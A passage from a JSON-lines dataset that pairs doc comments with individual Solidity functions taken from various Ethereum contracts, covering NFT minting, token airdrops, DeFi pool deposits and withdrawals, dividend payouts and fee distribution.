removedFromCirculation.push(removedAddress);\r\n emit AddressRemovedFromSupply(removedAddress);\r\n }", "version": "0.6.12"} {"comment": "// Re-Adds an address to the circulating supply", "function_code": "function addAddressToSupply(address addedAddress) external onlyOwner() {\r\n uint256 id = removedAddressIndex[addedAddress];\r\n require(addedAddress != address(uniswapV2Router), \"Cannot add router (already accounted for)\");\r\n require(addedAddress != 0x000000000000000000000000000000000000dEaD || addedAddress != 0x0000000000000000000000000000000000000000, \"Cannot add burn address (already accounted for)\");\r\n\r\n delete removedFromCirculation[id];\r\n emit AddressAddedToSupply(addedAddress);\r\n }", "version": "0.6.12"} {"comment": "/**\n * Mint Waffles\n */", "function_code": "function mintWaffles(uint256 numberOfTokens) public payable {\n require(saleIsActive, \"Mint is not available right now\");\n require(\n numberOfTokens <= MAX_PURCHASE,\n \"Can only mint 20 tokens at a time\"\n );\n require(\n totalSupply().add(numberOfTokens) <= MAX_TOKENS,\n \"Purchase would exceed max supply of Waffles\"\n );\n require(\n CURRENT_PRICE.mul(numberOfTokens) <= msg.value,\n \"Value sent is not correct\"\n );\n uint256 first_encounter = block.timestamp;\n uint256 tokenId;\n\n for (uint256 i = 1; i <= numberOfTokens; i++) {\n tokenId = totalSupply().add(1);\n if (tokenId <= MAX_TOKENS) {\n _safeMint(msg.sender, tokenId);\n _WafflesDetail[tokenId] = WafflesDetail(first_encounter);\n emit TokenMinted(tokenId, msg.sender, first_encounter);\n }\n }\n }", "version": "0.8.0"} {"comment": "// once enabled, can never be turned off", "function_code": "function enableTrading() external onlyOwner {\r\n tradingActive = true;\r\n swapEnabled = true;\r\n lastLpBurnTime = block.timestamp;\r\n sellMarketingFee = 9;\r\n sellLiquidityFee = 1;\r\n sellDevFee = 5;\r\n sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;\r\n }", "version": "0.8.10"} {"comment": "//below function can be used when you want to send every recipeint with different number of tokens", "function_code": "function sendTokens(address[] dests, uint256[] values) whenDropIsActive onlyOwner external {\r\n uint256 i = 0;\r\n while (i < dests.length) {\r\n uint256 toSend = values[i] * 10**8;\r\n sendInternally(dests[i] , toSend, values[i]);\r\n i++;\r\n }\r\n }", "version": "0.4.21"} {"comment": "// this function can be used when you want to send same number of tokens to all the recipients", "function_code": "function sendTokensSingleValue(address[] dests, uint256 value) whenDropIsActive onlyOwner external {\r\n uint256 i = 0;\r\n uint256 toSend = value * 10**8;\r\n while (i < dests.length) {\r\n sendInternally(dests[i] , toSend, value);\r\n i++;\r\n }\r\n }", "version": "0.4.21"} {"comment": "/**\n * @dev calculates x^n, in ray. The code uses the ModExp precompile\n * @param x base\n * @param n exponent\n * @return z = x^n, in ray\n */", "function_code": "function rayPow(uint256 x, uint256 n) internal pure returns (uint256 z) {\n z = n % 2 != 0 ? x : RAY;\n\n for (n /= 2; n != 0; n /= 2) {\n x = rayMul(x, x);\n\n if (n % 2 != 0) {\n z = rayMul(z, x);\n }\n }\n }", "version": "0.6.12"} {"comment": "/**\n Public function to release the accumulated fee income to the payees.\n @dev anyone can call this.\n */", "function_code": "function release() public override nonReentrant {\n uint256 income = a.core().availableIncome();\n require(income > 0, \"income is 0\");\n require(payees.length > 0, \"Payees not configured yet\");\n lastReleasedAt = now;\n\n // Mint USDX to all receivers\n for (uint256 i = 0; i < payees.length; i++) {\n address payee = payees[i];\n _release(income, payee);\n }\n emit FeeReleased(income, lastReleasedAt);\n }", "version": "0.6.12"} {"comment": "/**\n Internal function to add a new payee.\n @dev will update totalShares and therefore reduce the relative share of all other payees.\n @param _payee The address of the payee to add.\n @param _shares The number of shares owned by the payee.\n */", "function_code": "function _addPayee(address _payee, uint256 _shares) internal {\n require(_payee != address(0), \"payee is the zero address\");\n require(_shares > 0, \"shares are 0\");\n require(shares[_payee] == 0, \"payee already has shares\");\n\n payees.push(_payee);\n shares[_payee] = _shares;\n totalShares = totalShares.add(_shares);\n emit PayeeAdded(_payee, _shares);\n }", "version": "0.6.12"} {"comment": "/**\n Updates the payee configuration to a new one.\n @dev will release existing fees before the update.\n @param _payees Array of payees\n @param _shares Array of shares for each payee\n */", "function_code": "function changePayees(address[] memory _payees, uint256[] memory _shares) public override onlyManager {\n require(_payees.length == _shares.length, \"Payees and shares mismatched\");\n require(_payees.length > 0, \"No payees\");\n\n uint256 income = a.core().availableIncome();\n if (income > 0 && payees.length > 0) {\n release();\n }\n\n for (uint256 i = 0; i < payees.length; i++) {\n delete shares[payees[i]];\n }\n delete payees;\n totalShares = 0;\n\n for (uint256 i = 0; i < _payees.length; i++) {\n _addPayee(_payees[i], _shares[i]);\n }\n }", "version": "0.6.12"} {"comment": "/// @notice Calculates the sqrt ratio for given price\n/// @param token0 The address of token0\n/// @param token1 The address of token1\n/// @param price The amount with decimals of token1 for 1 token0\n/// @return sqrtPriceX96 The greatest tick for which the ratio is less than or equal to the input ratio", "function_code": "function getSqrtRatioAtPrice(\n address token0,\n address token1,\n uint256 price\n ) internal pure returns (uint160 sqrtPriceX96) {\n uint256 base = 1e18;\n if (token0 > token1) {\n (token0, token1) = (token1, token0);\n (base, price) = (price, base);\n }\n uint256 priceX96 = (price << 192) / base;\n sqrtPriceX96 = uint160(sqrt(priceX96));\n }", "version": "0.7.6"} {"comment": "/// @notice Calculates the greatest tick value such that getRatioAtTick(tick) <= ratio\n/// @dev Throws in case sqrtPriceX96 < MIN_SQRT_RATIO, as MIN_SQRT_RATIO is the lowest value getRatioAtTick may\n/// ever return.\n/// @param token0 The address of token0\n/// @param token1 The address of token1\n/// @param sqrtPriceX96 The sqrt ratio for which to compute the price as a Q64.96\n/// @return price The amount with decimals of token1 for 1 token0", "function_code": "function getPriceAtSqrtRatio(\n address token0,\n address token1,\n uint160 sqrtPriceX96\n ) internal pure returns (uint256 price) {\n // second inequality must be < because the price can never reach the price at the max tick\n require(sqrtPriceX96 >= TickMath.MIN_SQRT_RATIO && sqrtPriceX96 < TickMath.MAX_SQRT_RATIO, 'R');\n\n uint256 base = 1e18;\n uint256 priceX96 = uint256(sqrtPriceX96) * uint256(sqrtPriceX96);\n if (token0 > token1) {\n price = UnsafeMath.divRoundingUp(base << 192, priceX96);\n } else {\n price = (priceX96 * base) >> 192;\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev Claims outstanding rewards from market\n */", "function_code": "function claimRewards() external {\n uint256 len = bAssetsMapped.length;\n address[] memory pTokens = new address[](len);\n for (uint256 i = 0; i < len; i++) {\n pTokens[i] = bAssetToPToken[bAssetsMapped[i]];\n }\n uint256 rewards = rewardController.claimRewards(pTokens, type(uint256).max, address(this));\n\n emit RewardsClaimed(pTokens, rewards);\n }", "version": "0.8.6"} {"comment": "/**\r\n * @dev Multiplies two unsigned integers, reverts on overflow.\r\n */", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Gas optimization: this is cheaper than requiring 'a' not being zero, but the\r\n // benefit is lost if 'b' is also tested.\r\n // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522\r\n if (a == 0) {\r\n return 0;\r\n }\r\n\r\n uint256 c = a * b;\r\n require(c / a == b);\r\n\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\r\n * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.\r\n */", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // Solidity only automatically asserts when dividing by 0\r\n require(b > 0);\r\n uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n\r\n return c;\r\n }", "version": "0.5.17"} {"comment": "/**\n * @dev Returns total holdings for all pools (strategy's)\n * @return Returns sum holdings (USD) for all pools\n */", "function_code": "function totalHoldings() public view returns (uint256) {\n uint256 length = _poolInfo.length;\n uint256 totalHold = 0;\n for (uint256 pid = 0; pid < length; pid++) {\n totalHold += _poolInfo[pid].strategy.totalHoldings();\n }\n return totalHold;\n }", "version": "0.8.12"} {"comment": "/**\n * @dev in this func user sends funds to the contract and then waits for the completion\n * of the transaction for all users\n * @param amounts - array of deposit amounts by user\n */", "function_code": "function delegateDeposit(uint256[3] memory amounts) external whenNotPaused {\n for (uint256 i = 0; i < amounts.length; i++) {\n if (amounts[i] > 0) {\n IERC20Metadata(tokens[i]).safeTransferFrom(_msgSender(), address(this), amounts[i]);\n pendingDeposits[_msgSender()][i] += amounts[i];\n }\n }\n\n emit CreatedPendingDeposit(_msgSender(), amounts);\n }", "version": "0.8.12"} {"comment": "/**\n * @dev in this func user sends pending withdraw to the contract and then waits\n * for the completion of the transaction for all users\n * @param lpAmount - amount of ZLP for withdraw\n * @param minAmounts - array of amounts stablecoins that user want minimum receive\n */", "function_code": "function delegateWithdrawal(uint256 lpAmount, uint256[3] memory minAmounts)\n external\n whenNotPaused\n {\n PendingWithdrawal memory withdrawal;\n address userAddr = _msgSender();\n require(lpAmount > 0, 'Zunami: lpAmount must be higher 0');\n\n withdrawal.lpShares = lpAmount;\n withdrawal.minAmounts = minAmounts;\n\n pendingWithdrawals[userAddr] = withdrawal;\n\n emit CreatedPendingWithdrawal(userAddr, minAmounts, lpAmount);\n }", "version": "0.8.12"} {"comment": "/**\n * @dev Zunami protocol owner complete all active pending withdrawals of users\n * @param userList - array of users from pending withdraw to complete\n */", "function_code": "function completeWithdrawals(address[] memory userList)\n external\n onlyRole(OPERATOR_ROLE)\n startedPool\n {\n require(userList.length > 0, 'Zunami: there are no pending withdrawals requests');\n\n IStrategy strategy = _poolInfo[defaultWithdrawPid].strategy;\n\n address user;\n PendingWithdrawal memory withdrawal;\n for (uint256 i = 0; i < userList.length; i++) {\n user = userList[i];\n withdrawal = pendingWithdrawals[user];\n\n if (balanceOf(user) >= withdrawal.lpShares) {\n if (\n !(\n strategy.withdraw(\n user,\n withdrawal.lpShares * 1e18 / _poolInfo[defaultWithdrawPid].lpShares,\n withdrawal.minAmounts,\n IStrategy.WithdrawalType.Base,\n 0\n )\n )\n ) {\n emit FailedWithdrawal(user, withdrawal.minAmounts, withdrawal.lpShares);\n delete pendingWithdrawals[user];\n continue;\n }\n\n uint256 userDeposit = (totalDeposited * withdrawal.lpShares) / totalSupply();\n _burn(user, withdrawal.lpShares);\n _poolInfo[defaultWithdrawPid].lpShares -= withdrawal.lpShares;\n totalDeposited -= userDeposit;\n\n emit Withdrawn(user, IStrategy.WithdrawalType.Base, withdrawal.minAmounts, withdrawal.lpShares, 0);\n }\n\n delete pendingWithdrawals[user];\n }\n }", "version": "0.8.12"} {"comment": "/**\n * @dev deposit in one tx, without waiting complete by dev\n * @return Returns amount of lpShares minted for user\n * @param amounts - user send amounts of stablecoins to deposit\n */", "function_code": "function deposit(uint256[POOL_ASSETS] memory amounts)\n external\n whenNotPaused\n startedPool\n returns (uint256)\n {\n IStrategy strategy = _poolInfo[defaultDepositPid].strategy;\n uint256 holdings = totalHoldings();\n\n for (uint256 i = 0; i < amounts.length; i++) {\n if (amounts[i] > 0) {\n IERC20Metadata(tokens[i]).safeTransferFrom(\n _msgSender(),\n address(strategy),\n amounts[i]\n );\n }\n }\n uint256 newDeposited = strategy.deposit(amounts);\n require(newDeposited > 0, 'Zunami: too low deposit!');\n\n uint256 lpShares = 0;\n if (totalSupply() == 0) {\n lpShares = newDeposited;\n } else {\n lpShares = (totalSupply() * newDeposited) / holdings;\n }\n _mint(_msgSender(), lpShares);\n _poolInfo[defaultDepositPid].lpShares += lpShares;\n totalDeposited += newDeposited;\n\n emit Deposited(_msgSender(), amounts, lpShares);\n return lpShares;\n }", "version": "0.8.12"} {"comment": "/**\n * @dev withdraw in one tx, without waiting complete by dev\n * @param lpShares - amount of ZLP for withdraw\n * @param tokenAmounts - array of amounts stablecoins that user want minimum receive\n */", "function_code": "function withdraw(\n uint256 lpShares,\n uint256[POOL_ASSETS] memory tokenAmounts,\n IStrategy.WithdrawalType withdrawalType,\n uint128 tokenIndex\n ) external whenNotPaused startedPool {\n require( checkBit(availableWithdrawalTypes, uint8(withdrawalType)), 'Zunami: withdrawal type not available' );\n IStrategy strategy = _poolInfo[defaultWithdrawPid].strategy;\n address userAddr = _msgSender();\n\n require(balanceOf(userAddr) >= lpShares, 'Zunami: not enough LP balance');\n require(\n strategy.withdraw(userAddr, lpShares * 1e18 / _poolInfo[defaultWithdrawPid].lpShares, tokenAmounts, withdrawalType, tokenIndex),\n 'Zunami: user lps share should be at least required'\n );\n\n uint256 userDeposit = (totalDeposited * lpShares) / totalSupply();\n _burn(userAddr, lpShares);\n _poolInfo[defaultWithdrawPid].lpShares -= lpShares;\n\n totalDeposited -= userDeposit;\n\n emit Withdrawn(userAddr, withdrawalType, tokenAmounts, lpShares, tokenIndex);\n }", "version": "0.8.12"} {"comment": "/**\n * @dev add a new pool, deposits in the new pool are blocked for one day for safety\n * @param _strategyAddr - the new pool strategy address\n */", "function_code": "function addPool(address _strategyAddr) external onlyRole(DEFAULT_ADMIN_ROLE) {\n require(_strategyAddr != address(0), 'Zunami: zero strategy addr');\n uint256 startTime = block.timestamp + (launched ? MIN_LOCK_TIME : 0);\n _poolInfo.push(\n PoolInfo({ strategy: IStrategy(_strategyAddr), startTime: startTime, lpShares: 0 })\n );\n emit AddedPool(_poolInfo.length - 1, _strategyAddr, startTime);\n }", "version": "0.8.12"} {"comment": "/**\n * @dev dev can transfer funds from few strategy's to one strategy for better APY\n * @param _strategies - array of strategy's, from which funds are withdrawn\n * @param withdrawalsPercents - A percentage of the funds that should be transfered\n * @param _receiverStrategyId - number strategy, to which funds are deposited\n */", "function_code": "function moveFundsBatch(\n uint256[] memory _strategies,\n uint256[] memory withdrawalsPercents,\n uint256 _receiverStrategyId\n ) external onlyRole(DEFAULT_ADMIN_ROLE) {\n require(\n _strategies.length == withdrawalsPercents.length,\n 'Zunami: incorrect arguments for the moveFundsBatch'\n );\n require(_receiverStrategyId < _poolInfo.length, 'Zunami: incorrect a reciver strategy ID');\n\n uint256[POOL_ASSETS] memory tokenBalance;\n for (uint256 y = 0; y < POOL_ASSETS; y++) {\n tokenBalance[y] = IERC20Metadata(tokens[y]).balanceOf(address(this));\n }\n\n uint256 pid;\n uint256 zunamiLp;\n for (uint256 i = 0; i < _strategies.length; i++) {\n pid = _strategies[i];\n zunamiLp += _moveFunds(pid, withdrawalsPercents[i]);\n }\n\n uint256[POOL_ASSETS] memory tokensRemainder;\n for (uint256 y = 0; y < POOL_ASSETS; y++) {\n tokensRemainder[y] =\n IERC20Metadata(tokens[y]).balanceOf(address(this)) -\n tokenBalance[y];\n if (tokensRemainder[y] > 0) {\n IERC20Metadata(tokens[y]).safeTransfer(\n address(_poolInfo[_receiverStrategyId].strategy),\n tokensRemainder[y]\n );\n }\n }\n\n _poolInfo[_receiverStrategyId].lpShares += zunamiLp;\n\n require(\n _poolInfo[_receiverStrategyId].strategy.deposit(tokensRemainder) > 0,\n 'Zunami: Too low amount!'\n );\n }", "version": "0.8.12"} {"comment": "//Returns a tokenURI of a specific token", "function_code": "function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {\r\n require(_exists(tokenId), \"ERC721Metadata: URI query for nonexistent token.\");\r\n\r\n string memory baseURI2 = _baseURI();\r\n return bytes(baseURI2).length > 0\r\n ? string(abi.encodePacked(baseURI2, tokenId.toString(), \".json\")) : '.json';\r\n }", "version": "0.8.7"} {"comment": "//Exclusive Presale mint for the OG's || Moet nog testen of het goe dgaat met de total suplly", "function_code": "function mintPresaleToken(uint16 _amount) public payable {\r\n require( presaleActive, \"Presale is not active\" );\r\n uint16 reservedAmt = presaleAddresses[msg.sender];\r\n require( reservedAmt > 0, \"No tokens reserved for your address\" );\r\n require( _amount < reservedAmt, \"max reserved token supply reached!\" );\r\n require( totalMints + _amount < totalCount, \"Cannot mint more than max supply\" );\r\n require( msg.value == presalePrice * _amount, \"Wrong amount of ETH sent\" );\r\n presaleAddresses[msg.sender] = reservedAmt - _amount;\r\n for(uint16 i; i < _amount; i++){\r\n _safeMint( msg.sender, 1 + totalMints++);\r\n }\r\n }", "version": "0.8.7"} {"comment": "//Mint function", "function_code": "function mint(uint16 _amount) public payable {\r\n require( saleActive,\"Sale is not active\" );\r\n require( _amount < maxBatch, \"You can only Mint 10 tokens at once\" );\r\n require( totalMints + _amount < totalCount,\"Cannot mint more than max supply\" );\r\n require( msg.value == price * _amount,\"Wrong amount of ETH sent\" );\r\n for(uint16 i; i < _amount; i++){\r\n _safeMint( msg.sender, 1+ totalMints++);\r\n }\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @dev This is the function to make a signature of the shareholder under arbitration agreement.\r\n * The identity of a person (ETH address) who make a signature has to be verified via Cryptonomica.net verification.\r\n * This verification identifies the physical person who owns the key of ETH address. It this physical person is\r\n * a representative of a legal person or an other physical person, it's a responsibility of a person who makes transaction\r\n * (i.e. verified person) to provide correct data of a person he/she represents, if not he/she considered as acting\r\n * in his/her own name and not as representative.\r\n *\r\n * @param _shareholderId Id of the shareholder\r\n * @param _signatoryName Name of the person who signed disputeResolution agreement\r\n * @param _signatoryRegistrationNumber Registration number of legal entity, or ID number of physical person\r\n * @param _signatoryAddress Address of the signatory (country/State, ZIP/postal code, city, street, house/building number, apartment/office number)\r\n */", "function_code": "function signDisputeResolutionAgreement(\r\n uint _shareholderId,\r\n string memory _signatoryName,\r\n string memory _signatoryRegistrationNumber,\r\n string memory _signatoryAddress\r\n ) private {\r\n\r\n require(\r\n addressIsVerifiedByCryptonomica(msg.sender),\r\n \"Signer has to be verified on Cryptonomica.net\"\r\n );\r\n\r\n disputeResolutionAgreementSignaturesCounter++;\r\n addressSignaturesCounter[msg.sender] = addressSignaturesCounter[msg.sender] + 1;\r\n\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatureNumber = disputeResolutionAgreementSignaturesCounter;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].shareholderId = _shareholderId;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryRepresentedBy = msg.sender;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryName = _signatoryName;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryRegistrationNumber = _signatoryRegistrationNumber;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryAddress = _signatoryAddress;\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signedOnUnixTime = now;\r\n\r\n signaturesByAddress[msg.sender][addressSignaturesCounter[msg.sender]] = disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter];\r\n\r\n emit disputeResolutionAgreementSigned(\r\n disputeResolutionAgreementSignaturesCounter,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryRepresentedBy,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryName,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].shareholderId,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryRegistrationNumber,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signatoryAddress,\r\n disputeResolutionAgreementSignaturesByNumber[disputeResolutionAgreementSignaturesCounter].signedOnUnixTime\r\n );\r\n\r\n }", "version": "0.5.11"} {"comment": "/*\r\n * @notice This function starts dividend payout round, and can be started from ANY address if the time has come.\r\n */", "function_code": "function startDividendsPayments() public returns (bool success) {\r\n\r\n require(\r\n dividendsRound[dividendsRoundsCounter].roundIsRunning == false,\r\n \"Already running\"\r\n );\r\n\r\n // dividendsRound[dividendsRoundsCounter].roundFinishedOnUnixTime is zero for first round\r\n // so it can be started right after contract deploy\r\n require(now.sub(dividendsRound[dividendsRoundsCounter].roundFinishedOnUnixTime) > dividendsPeriod,\r\n \"To early to start\"\r\n );\r\n\r\n require(registeredShares > 0,\r\n \"No registered shares to distribute dividends to\"\r\n );\r\n\r\n uint sumWeiToPayForOneToken = address(this).balance / registeredShares;\r\n uint sumXEurToPayForOneToken = xEuro.balanceOf(address(this)) / registeredShares;\r\n\r\n require(\r\n sumWeiToPayForOneToken > 0 || sumXEurToPayForOneToken > 0,\r\n \"Nothing to pay\"\r\n );\r\n\r\n // here we start the next dividends payout round:\r\n dividendsRoundsCounter++;\r\n\r\n dividendsRound[dividendsRoundsCounter].roundIsRunning = true;\r\n dividendsRound[dividendsRoundsCounter].roundStartedOnUnixTime = now;\r\n dividendsRound[dividendsRoundsCounter].registeredShares = registeredShares;\r\n dividendsRound[dividendsRoundsCounter].allRegisteredShareholders = shareholdersCounter;\r\n\r\n dividendsRound[dividendsRoundsCounter].sumWeiToPayForOneToken = sumWeiToPayForOneToken;\r\n dividendsRound[dividendsRoundsCounter].sumXEurToPayForOneToken = sumXEurToPayForOneToken;\r\n\r\n emit DividendsPaymentsStarted(\r\n dividendsRoundsCounter,\r\n msg.sender,\r\n address(this).balance,\r\n xEuro.balanceOf(address(this)),\r\n registeredShares,\r\n sumWeiToPayForOneToken,\r\n sumXEurToPayForOneToken\r\n );\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/*\r\n * Function to add funds to reward transactions distributing dividends in this round/\r\n */", "function_code": "function fundDividendsPayout() public payable returns (bool success){\r\n\r\n /* We allow this only for running round */\r\n require(\r\n dividendsRound[dividendsRoundsCounter].roundIsRunning,\r\n \"Dividends payout is not running\"\r\n );\r\n\r\n dividendsRound[dividendsRoundsCounter].weiForTxFees = dividendsRound[dividendsRoundsCounter].weiForTxFees + msg.value;\r\n\r\n emit FundsToPayForDividendsDistributionReceived(\r\n dividendsRoundsCounter,\r\n msg.value,\r\n msg.sender,\r\n dividendsRound[dividendsRoundsCounter].weiForTxFees // totalSum\r\n );\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/*\r\n * dev: Private function, that calls 'tokenFallback' function if token receiver is a contract.\r\n */", "function_code": "function _erc223Call(address _to, uint _value, bytes memory _data) private returns (bool success) {\r\n\r\n uint codeLength;\r\n\r\n assembly {\r\n // Retrieve the size of the code on target address, this needs assembly .\r\n codeLength := extcodesize(_to)\r\n }\r\n\r\n if (codeLength > 0) {\r\n ERC223ReceivingContract receiver = ERC223ReceivingContract(_to);\r\n receiver.tokenFallback(msg.sender, _value, _data);\r\n emit DataSentToAnotherContract(msg.sender, _to, _data);\r\n }\r\n\r\n return true;\r\n }", "version": "0.5.11"} {"comment": "/// Whitelisted entity makes changes to the notifications", "function_code": "function setPoolBatch(address[] calldata poolAddress, uint256[] calldata poolPercentage, NotificationType[] calldata notificationType, bool[] calldata vests) external onlyChanger {\n for (uint256 i = 0; i < poolAddress.length; i++) {\n setPool(poolAddress[i], poolPercentage[i], notificationType[i], vests[i]);\n }\n }", "version": "0.5.16"} {"comment": "/// Pool management, adds, updates or removes a transfer/notification", "function_code": "function setPool(address poolAddress, uint256 poolPercentage, NotificationType notificationType, bool vests) public onlyChanger {\n require(notificationType != NotificationType.VOID, \"Use valid indication\");\n if (notificationExists(poolAddress) && poolPercentage == 0) {\n // remove\n removeNotification(poolAddress);\n } else if (notificationExists(poolAddress)) {\n // update\n updateNotification(poolAddress, notificationType, poolPercentage, vests);\n } else if (poolPercentage > 0) {\n // add because it does not exist\n addNotification(poolAddress, poolPercentage, notificationType, vests);\n }\n emit PoolChanged(poolAddress, poolPercentage, uint256(notificationType), vests);\n }", "version": "0.5.16"} {"comment": "/// configuration check method", "function_code": "function getConfig(uint256 totalAmount) external view returns(address[] memory, uint256[] memory, uint256[] memory) {\n address[] memory pools = new address[](notifications.length);\n uint256[] memory percentages = new uint256[](notifications.length);\n uint256[] memory amounts = new uint256[](notifications.length);\n for (uint256 i = 0; i < notifications.length; i++) {\n Notification storage notification = notifications[i];\n pools[i] = notification.poolAddress;\n percentages[i] = notification.percentage.mul(1000000).div(totalPercentage);\n amounts[i] = notification.percentage.mul(totalAmount).div(totalPercentage);\n }\n return (pools, percentages, amounts);\n }", "version": "0.5.16"} {"comment": "/// @notice Used to withdraw ETH balance of the contract, this function is dedicated\n/// to contract owner according to { onlyOwner } modifier.", "function_code": "function withdrawEquity()\r\n public onlyOwner nonReentrant {\r\n uint256 balance = address(this).balance;\r\n\r\n address[2] memory shareholders = [\r\n ADDRESS_PBOY,\r\n ADDRESS_JOLAN\r\n ];\r\n\r\n uint256[2] memory _shares = [\r\n SHARE_PBOY * balance / 100,\r\n SHARE_JOLAN * balance / 100\r\n ];\r\n\r\n uint i = 0;\r\n while (i < 2) {\r\n require(payable(shareholders[i]).send(_shares[i]));\r\n emit Withdraw(_shares[i], shareholders[i]);\r\n i++;\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to manage authorization and reentrancy of the genesis NFT mint\n/// @param _genesisId Used to increment { genesisId } and write { epochMintingRegistry }", "function_code": "function genesisController(uint256 _genesisId)\r\n private {\r\n require(epoch == 0, \"error epoch\");\r\n require(genesisId <= maxGenesisSupply, \"error genesisId\");\r\n require(!epochMintingRegistry[epoch][_genesisId], \"error epochMintingRegistry\");\r\n\r\n /// @dev Set { _genesisId } for { epoch } as true\r\n epochMintingRegistry[epoch][_genesisId] = true;\r\n\r\n /// @dev When { genesisId } reaches { maxGenesisSupply } the function\r\n /// will compute the data to increment the epoch according\r\n ///\r\n /// { blockGenesis } is set only once, at this time\r\n /// { blockMeta } is set to { blockGenesis } because epoch=0\r\n /// Then it is computed into the function epochRegulator()\r\n ///\r\n /// Once the epoch is regulated, the new generation start\r\n /// straight away, { generationMintAllowed } is set to true\r\n if (genesisId == maxGenesisSupply) {\r\n blockGenesis = block.number;\r\n blockMeta = blockGenesis;\r\n \r\n emit Genesis(epoch, blockGenesis);\r\n epochRegulator();\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to protect epoch block length from difficulty bomb of the\n/// Ethereum network. A difficulty bomb heavily increases the difficulty\n/// on the network, likely also causing an increase in block time.\n/// If the block time increases too much, the epoch generation could become\n/// exponentially higher than what is desired, ending with an undesired Ice-Age.\n/// To protect against this, the emergencySecure() function is allowed to\n/// manually reconfigure the epoch block length and the block Meta\n/// to match the network conditions if necessary.\n///\n/// It can also be useful if the block time decreases for some reason with consensus change.\n///\n/// This function is dedicated to contract owner according to { onlyOwner } modifier", "function_code": "function emergencySecure(uint256 _epoch, uint256 _epochLen, uint256 _blockMeta, uint256 _inflateRatio)\r\n public onlyOwner {\r\n require(epoch > 0, \"error epoch\");\r\n require(_epoch > 0, \"error _epoch\");\r\n require(maxTokenSupply >= tokenId, \"error maxTokenSupply\");\r\n\r\n epoch = _epoch;\r\n epochLen = _epochLen;\r\n blockMeta = _blockMeta;\r\n inflateRatio = _inflateRatio;\r\n\r\n computeBlockOmega();\r\n emit Securized(epoch, epochLen, blockMeta, inflateRatio);\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to compute blockOmega() function, { blockOmega } represents\n/// the block when it won't ever be possible to mint another Dollars Nakamoto NFT.\n/// It is possible to be computed because of the deterministic state of the current protocol\n/// The following algorithm simulate the 10 epochs of the protocol block computation to result blockOmega", "function_code": "function computeBlockOmega()\r\n private {\r\n uint256 i = 0;\r\n uint256 _blockMeta = 0;\r\n uint256 _epochLen = epochLen;\r\n\r\n while (i < epochMax) {\r\n if (i > 0) _epochLen *= inflateRatio;\r\n if (i == 9) {\r\n blockOmega = blockGenesis + _blockMeta;\r\n emit Omega(blockOmega);\r\n break;\r\n }\r\n _blockMeta += _epochLen;\r\n i++;\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to regulate the epoch incrementation and block computation, known as Metas\n/// @dev When epoch=0, the { blockOmega } will be computed\n/// When epoch!=0 the block length { epochLen } will be multiplied\n/// by { inflateRatio } thus making the block length required for each\n/// epoch longer according\n///\n/// { blockMeta } += { epochLen } result the exact block of the next Meta\n/// Allow generation mint after incrementing the epoch", "function_code": "function epochRegulator()\r\n private {\r\n if (epoch == 0) computeBlockOmega();\r\n if (epoch > 0) epochLen *= inflateRatio;\r\n \r\n blockMeta += epochLen;\r\n emit Meta(epoch, blockMeta);\r\n\r\n epoch++;\r\n\r\n if (block.number >= blockMeta && epoch < epochMax) {\r\n epochRegulator();\r\n }\r\n \r\n generationMintAllowed = true;\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to add/remove address from { _allowList }", "function_code": "function setBatchGenesisAllowance(address[] memory batch)\r\n public onlyOwner {\r\n uint len = batch.length;\r\n require(len > 0, \"error len\");\r\n \r\n uint i = 0;\r\n while (i < len) {\r\n _allowList[batch[i]] = _allowList[batch[i]] ?\r\n false : true;\r\n i++;\r\n }\r\n }", "version": "0.8.10"} {"comment": "/// @notice Used to fetch all { tokenIds } from { owner }", "function_code": "function exposeHeldIds(address owner)\r\n public view returns(uint[] memory) {\r\n uint tokenCount = balanceOf(owner);\r\n uint[] memory tokenIds = new uint[](tokenCount);\r\n\r\n uint i = 0;\r\n while (i < tokenCount) { \r\n tokenIds[i] = tokenOfOwnerByIndex(owner, i);\r\n i++;\r\n }\r\n return tokenIds;\r\n }", "version": "0.8.10"} {"comment": "/**\n * @dev Deposit a quantity of bAsset into the platform. Credited aTokens\n * remain here in the vault. Can only be called by whitelisted addresses\n * (mAsset and corresponding BasketManager)\n * @param _bAsset Address for the bAsset\n * @param _amount Units of bAsset to deposit\n * @param _hasTxFee Is the bAsset known to have a tx fee?\n * @return quantityDeposited Quantity of bAsset that entered the platform\n */", "function_code": "function deposit(\n address _bAsset,\n uint256 _amount,\n bool _hasTxFee\n ) external override onlyLP nonReentrant returns (uint256 quantityDeposited) {\n require(_amount > 0, \"Must 